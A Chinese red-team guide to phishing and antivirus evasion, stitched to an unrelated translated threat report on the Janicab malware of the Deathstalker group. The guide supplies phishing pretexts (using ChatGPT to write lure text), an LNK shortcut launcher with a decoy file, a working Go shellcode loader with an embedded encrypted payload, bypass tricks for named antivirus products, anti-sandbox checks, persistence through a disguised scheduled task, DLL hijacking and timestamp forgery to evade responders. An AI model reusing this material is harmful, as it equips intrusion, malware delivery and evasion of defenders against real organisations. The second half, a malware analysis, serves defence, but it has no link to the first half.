如 xx举报,xx招聘面对大众的邮箱,相关语法:

site:"xxx.com"  举报  
site:"xxx.com"  招聘  
  
xx公司举报 @126.com  
xx公司招聘 @qq.com

image-20231103173433363

钓鱼手法

社工钓鱼

  • 首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对
  • 选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部
  • 社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多)

邮件钓鱼

  • 群发邮件(不推荐,易被管理员发现或被邮件网关拦截)
  • 搜集关键人物个人邮箱定向投递(推荐,隐蔽性强)
福利补贴发放

紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送

image-20231104103425528

image-20230922182918302

简历投递

招聘投递简历,hr面对大量简历不会仔细查看后缀

image-20231104105527137

钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿

image-20231103155359779

举报信

xxx实名举报投诉,这种邮件一般处理反馈速度很快

bl4ikizai5w13603.png

钓鱼文件伪装

通用技巧

  • 木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测
  • 选择不常见的后缀但仍可作为exe执行,如scr、com
  • 文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀

lnk钓鱼

如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截)

快捷方式目标位置填入:

%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc &amp;&amp; C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"

img

图标更换路径选择:

C:\\Program Files (x86)\\Microsoft\\Edge\\Application  
%SystemRoot%\\System32\\imageres.dll  
%SystemRoot%\\System32\\shell32.dll

image.png

弹框错误提示

运行msgbox提示“文件已损坏”等具有迷惑性的内容

vbs实现

On Error Resume Next  
WScript.Sleep 2000  
msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" 

go代码实现

package main  
  
import (  
    "github.com/gen2brain/dlgs"  
)  
  
func box() {  
    _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")  
  if err != nil {  
    panic(err)  
  }  
}

实现效果

image-20231103170505169

文件捆绑器

  • 绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行
  • 1.1版本 bypass常规杀软 (360、def、火绒等)
  • 1.2版本 新增文件释放后自动隐藏

image-20231103113848878

效果实现

image-20231104115308737

常见杀软类型

杀软类型杀软特点
火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒
360 单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间
360核晶 开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代
Defender 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高

基础的加载方式

以下只是基础的示例,仅仅实现加密解密加载的功能

先使用python脚本进行加密 payload.c 文件

import base64  
  
originalShellcode = b"\xfc\xe8\x89\x00"  
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])  
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')  
  
print(encodedShellcode)

image-20231104111224020

输出的内容填入encryptedShellcode进行编译

package main

import (
    "encoding/base64"
    "syscall"
    "unsafe"

    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {
    // 通过 base64 和 XOR 解密 shellcode 内容
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
    decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
    for i := 0; i &lt; len(decodedShellcode); i++ {
        decodedShellcode[i] ^= 0x77
    }

    // 获取 kernel32.dll 中的 VirtualAlloc 函数
    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(decodedShellcode))
    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decodedShellcode)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

通用杀软bypass技巧

  • 免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用
  • 垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测
  • 选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2

一键生成免杀

臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star

免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly

千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji

编译参数的影响

go:  
-race   竞态检测编译  
-ldflags '-s -w'   去除编译信息  
-ldflags '-H windowsgui'   隐藏窗口  
  
garble(混淆库):  
-tiny                    删除额外信息  
-literals               混淆文字  
-seed=random   base64编码的随机种子

举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒

package main  
  
func main() {  
    // 两个要相乘的数字  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i &lt; num2; i++ {  
        result += num1  
    }  
}

image-20231103142821152

-H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框)

package main  
  
import "github.com/lxn/win"  
  
func main(){  
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)  
}
func box()int{  
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")  
    FreeConsole.Call()  
    return 0  
}  
  
func main() {  
  box()

静态特征处理

混淆处理

go低版本 https://github.com/boy-hack/go-strip

go高版本 https://github.com/burrowers/garble

mangle替换字符串

https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

mangle处理前后对比,可发现对go编译特征字符串替换为随机字符
image-20231104111621701

base64编码变量

cmd := exec.Command("rundll32.exe", "xxx")

关键字符串进行Base64编码,并在相应位置替换变量值

encodedCommand := "cnVuZGxsMzIuZXhl"  
encodedArguments := "MTExTdGFydA=="  
  
// 解码Base64编码的命令和参数  
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)  
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)  
  
cmd := exec.Command(string(decodedCommand), string(decodedArguments))

QVM绕过

添加资源

1、添加图标签名版权等信息内容,可使用以下项目一键添加

image-20231104111439772

https://github.com/Pizz33/360QVM_bypass
https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public
https://github.com/langsasec/Sign-Sacker

4i1h41or5ou13612.png

image-20230504161714715

行为特征

运行直接加载shellcode,一般会直接报qvm

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;decryt[0])), uintptr(len(decryt)))  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}

先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i &lt; num2; i++ {  
        result += num1  
    }  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;decryt[0])), uintptr(len(decryt)))  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}  

好用的反沙箱技巧

出口IP判断

func san() {  
  url := "https://myip.ipip.net/"  
  
  resp, err := http.Get(url)  
  if err != nil {  
    os.Exit(1)  
  }  
  defer resp.Body.Close()  
  
  body, err := ioutil.ReadAll(resp.Body)  
  if err != nil {  
    os.Exit(1)  
  }  
  
  content := string(body)  
  
  if strings.Contains(content, "中国") {  
  } else {  
    os.Exit(1)  
  }  
  }

检测桌面文件数量

func desktop() {  
    desktopPath, err := os.UserHomeDir()  
    if err != nil {  
        fmt.Println("无法获取用户桌面路径:", err)  
        return  
    }  
  
    desktopPath = filepath.Join(desktopPath, "Desktop")  
    fileCount, err := countFilesInDir(desktopPath)  
    if err != nil {  
        fmt.Println("无法读取用户桌面文件列表:", err)  
        return  
    }  
  
    fmt.Println("用户桌面文件数:", fileCount)  
  
    if fileCount &lt; 7 {  
        os.Exit(0)  
    }  
    // 在这里编写你的其他代码逻辑  
}

检测微信等常见软件

func CheckWeChatExist() {  
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)  
  if err != nil {  
    os.Exit(0)  
  }  
  defer k.Close()  
  
  s, _, err := k.GetStringValue("InstallDir")  
  if err != nil || s == "" {  
    os.Exit(0)  
  }  
}

检测pagefile.sys

func sys() {  
    pageFilePath := "C:\\pagefile.sys"   
    _, err := os.Stat(pageFilePath)  
    if os.IsNotExist(err) {  
        os.Exit(1)  
    } else if err != nil {  
    } else {  
    }  
}

判断系统类型

func language() {  
    language := os.Getenv("LANG")  
  
    if strings.Contains(language, "en_US") {  
        os.Exit(0)  
    } else {  
    }  
}

内存流量处理

流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源

https://github.com/9bie/oss-stinger
https://github.com/pantom2077/alioss-stinger

自定义profile,可使用以下项目随机生成

https://github.com/threatexpress/random_c2_profile

内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章

https://www.freebuf.com/articles/system/361161.html
https://idiotc4t.com/defense-evasion/load-ntdll-too

执行命令bypass

直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的

进程迁移 https://github.com/ajpc500/BOFs
截图 https://github.com/baiyies/ScreenshotBOFPlus
删除自身 https://github.com/AgeloVito/self_delete_bof
bypassuac提权 https://github.com/youcannotseemeagain/ele

可以定期去github上关注一些好用的bof
image-20231103171105881

权限维持

常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有

添加计划任务

在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软

部分实现代码:
https://github.com/capnspacehook/taskmaster

package main  
  
import (  
    "os"  
    "github.com/capnspacehook/taskmaster"  
)  
  
func runWinTask(path string) {  
    // 创建初始化计划任务  
    taskService, _ := taskmaster.Connect()  
  
    defer taskService.Disconnect()  
    // 定义新的计划任务  
    newTaskDef := taskService.NewTaskDefinition()  
    // 添加执行程序的路径  
    newTaskDef.AddAction(taskmaster.ExecAction{  
        Path: path,  
    })  
    // 定义计划任务程序的执行时间等,设置为开机启动  
    newTaskDef.AddTrigger(taskmaster.BootTrigger{  
        TaskTrigger: taskmaster.TaskTrigger{  
            Enabled: enable,  
        },  
    })  
  
    // 创建计划任务  
    result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)  
    result=result  
}  
  
func main() {  
    path, err := os.Executable()  
    if err != nil {  
        return  
    }  
  
    runWinTask(path)  
}

隐藏计划任务

具体原理可参考0x727师傅的文章

https://github.com/0x727/SchTask_0x727
https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html

  • 选择主机随机进程名作为计划任务程序文件名
  • 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\
  • 创建的计划任务名取同一随机进程
  • 计划任务触发器以分钟为单位,无限期持续
  • 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

dll劫持替换

比较常用的有 C:\Program Files (x86)\Google\Update

当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

image-20230823124612928

单个查找

https://github.com/wietze/windows-dll-hijacking

image-20231103200348808

批量查找

https://github.com/knight0x07/ImpulsiveDLLHijack

ImpulsiveDLLHijack.exe -path xxx.exe

这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

image-20231104111621701

image-20231102183639496

修改文件时间

当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急
image-20231103104619412

这时候我们可以使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果

image-20231103104702070

查看net版本

shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r  

需要安装net3.5 没有安装一下

shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe  
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs

https://github.com/MsF-NTDLL/ChTimeStamp

shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll  
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll

image-20231103104735678

https://github.com/sorabug/ChangeTimestamp

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27

image-20230505092903602

  转自于原文连接:https://forum.butian.net/share/2532

Janicab_malware_law_SL-featured-1200x600.png

Janicab於2013年作為能夠在macOS和Windows操作系統上運行的惡意軟件首次出現。 Windows版本將基於VBscript的植入作為最後階段,而不是之前在Powersing示例中觀察到的C#/PowerShell組合。到目前為止,我們確定的基於VBS的植入程序樣本具有一家族版本號,這意味著它仍在開發中。總的來說,Janicob顯示了與其對應的惡意軟件家族相同的功能,但不像EVILNUM和Powersing攻擊那樣在攻擊生命週期的後期下載多個工具,分析的樣本將大部分工具嵌入並混淆在滴管中。

有趣的是,攻擊者繼續使用YouTube、Google+和WordPress web服務作為DDR。然而,觀察到的一些YouTube鏈接未列出,可以追溯到2015年,這表明可能會重複使用基礎設施。

初始攻擊點在ZIP文件中使用基於LNK的滴管的初始感染方法與以前使用EVILNUM、Powersing和PowerPepper的活動類似,但每個活動似乎都側重於不同的釣魚主題,好像每個惡意軟件家族都由不同的團隊操作或針對不同類型的受害者。在Janicab的一個例子中,誘餌是一個工業企業概況,與先前PowerPepper攻擊中使用的誘餌主題相匹配。根據我們的分析,傳送機制仍然是魚叉式網絡釣魚。

1.png

LNK文件中的誘餌文件

LNK滴管的元數據類似於我們報導或公開分析的許多Powersing和Janicab植入程序。也就是說,SID、字體家族、字體大小、屏幕緩衝區和窗口大小、運行窗口和MAC地址是相似的。

儘管Janicab和Powersing在執行流程以及VBE和VBS的使用方面非常相似,但它們的LNK結構有些不同。此外,較新的Janicab變體在結構上與2015年的舊Janicab Windows變體相比發生了顯著變化。新的Janica變體還嵌入了一個CAB文件,其中包含一些Python文件和其他在攻擊生命週期後期使用的工件。以下是Powersing與新舊Janicab車型之間的高級比較。

2.png

LNK文件結構比較

執行流程一旦受害者被誘騙打開惡意LNK文件,鏈接中的惡意軟件文件就會被釋放。 LNK文件有一個嵌入的“命令行參數”字段,用於提取和執行編碼的VBScript加載器(1.VBE)。後者將釋放並執行另一個嵌入和編碼的VBScript(2.VBE),該VBScript將提取包含額外資源和Python庫/工具的CAB文件(CAB.CAB),並通過提取最後一個階段(基於VBScript的植入程序,稱為Janicab)來結束感染。最後階段將通過在Startup目錄中部署一個新的LNK文件來啟動持久性,並開始與DDR web服務通信,以收集實際的C2 IP地址。

3.png

Janicab是一種基於VBS的惡意軟件植入程序,其功能與對應的惡意軟件家族Powersing和EVILNUM基本相似。所有這些都具有基本功能,如命令執行、導入註冊表文件,以及下載其他工具的能力,同時保持高反VM和防禦規避的持久性。

由於這三個惡意軟件家族都有很強的相似性,所以在本節中我們只討論Janicab版本之間的有趣差異。

Janicab可以被認為是一種模塊化的、解釋語言的惡意軟件。這意味著攻擊者能夠添加/刪除功能或嵌入文件;解釋語言惡意軟件以相當低的工作量提供了這種靈活性。例如,在舊版本中,SnapIT.exe(一種已知的用於捕捉屏幕截圖的工具)每隔一段時間就會嵌入、刪除和執行。該工具在後來的版本中被其他定制的工具所取代,這些工具可以完成相同的工作。我們還在較老的版本中看到了音頻錄製功能,但在後來的版本中沒有。

在較新的變體中,我們開始看到攻擊者嵌入了一個基於DLL的鍵盤記錄器或屏幕捕獲實用程序,該實用程序使用“run_DLL_or_py”函數調用。有趣的是,根據卡巴斯基威脅歸因引擎(KTAE)分析,該鍵盤記錄器與我們之前報告的Powersing攻擊中使用的另一個鍵盤記錄器非常相似,其名稱為“AdobeUpdater.dll”。在Powersing攻擊中,DLL在攻擊週期的後期從輔助C2服務器獲取。然而,在Janicab攻擊中,它大多被嵌入為HEX字節數組,或作為額外資源嵌入CAB文件中。我們知道有八個不同的Janicab版本:1.0.8、1.1.2、1.1.4、1.2.5、1.2.7、1.2.8、1.2.9a、1.3.2。

Janicab惡意軟件演變對不同Janicab版本的進一步比較表明,在整個惡意軟件開發週期中添加了附加功能,同時保留了特定功能。下表顯示了一些有趣的新功能,這些功能是根據參與者的要求或為了逃避安全控製而在幾個變體的開發過程中引入的:

函數名稱簡介1.函數checkRunningProcess()——檢查指示惡意軟件分析或進程調試的進程列表;

2.函數delFFcookies(),函數delGCcookies(),函數delIEcookies()——指向相應的瀏覽器位置並刪除其cookie;

3.函數downFile(args)——用於從C2下載文件並將其保存到磁盤;

4.函數GetKl(kl)——獲取鍵盤記錄器數據,base64對其進行編碼,然後將其發送到C2;

5.函數runCmd(cmd,cmdType)——使用cmd .exe或PowerShell.exe執行命令的函數;

6.函數run_dll_or_py(arg1,arg2)——用於在使用兩個參數時執行Python或dll文件;arg1是DLL路徑,arg2是DLL導出的函數名(MyDllEntryPoint);

7.函數add_to_startup_manager(server, installedAV),函數add_to_startup_reg_import(startupFile,starterFile),函數add_to_startup_shortcut(startupFile,starterFile)——用於在C2上首次註冊受害者;執行持久化操作並在系統啟動文件夾和註冊表HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon中安裝Microsoft Sync Services.lnk;

8.函數isMalwb()——用於檢查是否安裝了MalwareBytes。在檢查其他AV產品的其他變體中也看到了類似的函數;

9.函數HandleCCleaner()——通過檢查系統註冊表檢查是否安裝了CCleaner,並相應地刪除註冊表項;

10.函數RunIeScript()——使用CScript.exe運行ie.vbe腳本,以確保C2通信使用IE隱藏瀏覽器後不存在剩餘的Internet Explorer實例;

11.函數getAV()——獲取已安裝的AV產品列表;

從1.0.8版本開始,Janicab VBS植入程序以字節數組的形式嵌入了幾個文件。這些文件通常是註冊表、VBE、PE EXE或DLL文件。在最近的示例中,雖然我們仍然可以看到此類資源的嵌入式字節數組,但大部分額外資源都放在CAB文件文件中,該文件在第一階段的進程中被釋放。

以下是值得注意的釋放文件及其說明:

K.dll——以其創建的目錄命名為Stormwind,這是一個基於dll的鍵盤記錄器,它枚舉系統區域設置、時區信息,並設置全局掛鉤以捕獲擊鍵。它將帶有時間戳的擊鍵寫入\AppData\Roaming\Stormwind目錄下名為log.log的日誌文件中。它監視鍵盤記錄器kill switch命令的\AppData\Local\Temp\ReplaceData\下的killKL.txt。

PythonProxy.py——一個支持IPv4/IPv6的基於Python的代理,能夠在本地目標系統和遠程C2服務器之間中繼web流量。支持HTTP方法CONNECT、OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE。

Ftp.py——本地Ftp基於Python的服務器,服務於具有creds test:test端口2121。使用Junction.exe(一個sysinternals工具)創建除軟盤驅動器之外的所有現有驅動器的目錄別名。添加regkey以接受EULA,因為它是一個系統內部工具,如果是首次運行,則需要EULA。然後將“連接”的本地目錄提供給FTP服務器。

Runner.py——一個Python腳本,使用四個參數:遠程SSH服務器、遠程SSH端口、遠程綁定端口和“ftp”或“代理”作為應用程序選項。

根據為應用程序選項接收的參數,它將運行ftp.py(如果參數為ftp)或pythonproxy.py(如果參數為proxy)。

在這兩個選項中,腳本將啟動一個SSH反向隧道,連接到由攻擊者控制的遠程服務器,並將該隧道用作socks代理,或作為一種方法來瀏覽先前使用本地FTP服務器初始化的本地驅動器。

如果在%temp%\ReplaceData\中找到killrunner.txt文件,runner.py將退出。

Junction.exe——是一個sysinternals工具,它創建NTFS連接點(別名);創建“\\Drives”目錄,並將其映射到使用FTP.py創建的本地FTP服務器並提供其內容。

Plink.exe——已知的基於Windows的CLI SSH客戶端,用於透視和隧道,由Runner.py引用以進行反向隧道/文件複製。

基礎設施Deathstalker的一個顯著特點是它使用DDR/web服務來託管一個編碼字符串,該字符串隨後被惡意軟件植入程序解密。我們一直認為YouTube被用作DDR,儘管惡意軟件設置中存在其他網絡服務鏈接,但未被使用,例如2019年4月停用的Google+鏈接。

我們最近注意到的一個有趣的方面是使用了2021攻擊中使用的未列出的舊YouTube鏈接。從歷史上看,分析師可以使用搜索引擎和YouTube搜索功能來查找各自web服務中使用的模式。然而,由於攻擊者使用未列出的YouTube舊鏈接,在YouTube上找到相關鏈接的可能性幾乎為零。這也有效地允許攻擊者重用C2基礎設施。

有趣的是,舊的和新的Janicab變體仍然使用相同的web服務功能聲明——YouTubeLinks,並在將十進制數轉換為後端C2 IP地址的過程中繼續使用常數除法。最近使用的除法是1337和5362。

至於實際的C2 IP地址,我們發現兩個IP地址(87.120.254[.]100、87.120.37[.]68)與PowerPepper攻擊中使用的C2(例如PowerPepper C2 87.120.37[.]192)位於同一ASN中。 C2通信使用的協議是帶有GET/POST方法的HTTP,後端C2軟件是PHP。

4.png

Janicab 2021DDR清單

5.png

Janicab 2015DDR列表

6.png

最近攻擊中使用的未列出YouTube DDR示例

在評估其中一個C2服務器時,我們發現攻擊者正在託管並調用來自受害設備的ICMPshell可執行文件。名為icmpxa.exe的ICMP shell工具基於一個舊的Github項目。攻擊者編譯了icmpsh-s.c (MD5 5F1A9913AEC43A61F0B3AD7B529B397E),同時更改了其中的一些內容。這個可執行文件(哈希和文件名)的獨特性,使我們能夠透視和收集攻擊者使用的其他以前未知的C2服務器。有趣的是,我們還發現以前在PowerPepper攻擊中使用了相同的ICMPshell可執行文件,這表明兩個惡意軟件家族之間存在潛在的基礎設施重疊。

由於Janicab是一個基於VBS的惡意軟件,C2命令可以很容易地從嵌入的函數中派生出來。該惡意軟件利用VBS函數通過HTTPGET/POST請求連接到C2服務器,並連接到特定的PHP頁面。每個PHP頁面都提供某些功能。自從Janicab的早期版本以來,PHP頁面的文件名基本保持不變,並表示後端/預期功能。然而,從1.1.x版本開始,攻擊者開始縮短PHP頁面的文件名,而不改變預期的功能。下表總結了PHP頁面、它們的舊命名及其潛在用途:

PHP頁面及其原有名稱的介紹Status2.php(原名Status.php)——檢查服務器狀態;

a.php(Alive.php)——從受害者接收信標數據;

/gid.php?action=add(GenerateID.php?action=add)——如果這是一個新的受害者,則生成一個用戶ID並在C2後端註冊系統配置文件信息;將受害者添加到數據庫;

rit.php(ReportIT.php)——在評估設備是否有任何反分析檢查後,記錄用戶設備是否與IT人員相關。在舊的Janicab版本中,消息也以(“it guy”)的形式發送。

受影響的對象屬於傳統的Deathstalker目標範圍;主要是法律和金融投資管理(FSI)機構。然而,我們還記錄了一個潛在的新受影響行業——旅行社。中東地區和歐洲也是Deathstalker的重災區。

歸因本報告中討論的攻擊與Deathstalker攻擊組織有關。歸因基於新Janicab變體的使用、獨特的TTP、受害者學和攻擊者運營商使用的基礎設施。 Janicab和Powersing的比較攻擊分析突出了幾個階段的相似之處。

1.與之前的Deathstalker攻擊中使用的LNK滴管相同的SID和元數據;

2.Janicob和Powersing之間使用啟動文件夾中的LNK的類似持久機制;

3.Janicab具有類似的感染執行流程,並使用解釋語言工具集,如VBS、VBE和Python;

4.Janicab macOS和Windows版本的Python文件命名類似於EVILNUM惡意軟件(例如runner.py、serial.txt等);

7.png

EVILNUM runner.py用於文件傳輸

8.png

Janicab 2021 runner.py文件傳輸片段

9.png

MacOS runner.py的舊Janicab,用於啟動具有文件傳輸功能的後台服務

基於Python的工具集和庫的使用在使用Janicab、Powersing、EVILNUM和PowerPepper的所有Deathstalker攻擊中是常見的;

YouTube以及其他網絡服務/DDR的使用在Janicob和Powersing攻擊中很常見;在Janicab、Powersing和EVILNUM中,調用和解析YouTube和其他DDR的C2 IP地址的方法幾乎相同;

已識別的C2 IP屬於以前使用PowerPepper攻擊的ASN;

以法律和金融機構為重點的多樣化受害者研究,可能被其他黑客組織所針對;

基於我們的KTAE相似性引擎,所使用的dll(Stormwind)鍵盤記錄器與之前Powersing攻擊中看到的舊版本有90%以上的相似性;

新舊Janicob和Powersing中的相同代碼塊:

通過進程和虛擬MAC地址檢測虛擬機,MAC地址的列表順序在兩個惡意軟件家族之間是相同的,甚至在2015年和2021 Janicab版本之間也是相同的;

幾乎相同的反分析過程11.png

Janicab 2021虛擬MAC地址列表

12.png

啟用虛擬MAC地址列表

總結Janicab是Deathstalker使用的最古老的惡意軟件家族,可以追溯到2013年,儘管沒有太多公開信息可用,但攻擊者一直在開發和更新惡意軟件代碼,更新LNK滴管的結構,並切換工具集,以在很長一段時間內保持隱蔽性。

攻擊者仍然將重點放在中東和歐洲,並對攻擊法律和金融機構表現出極大的興趣。

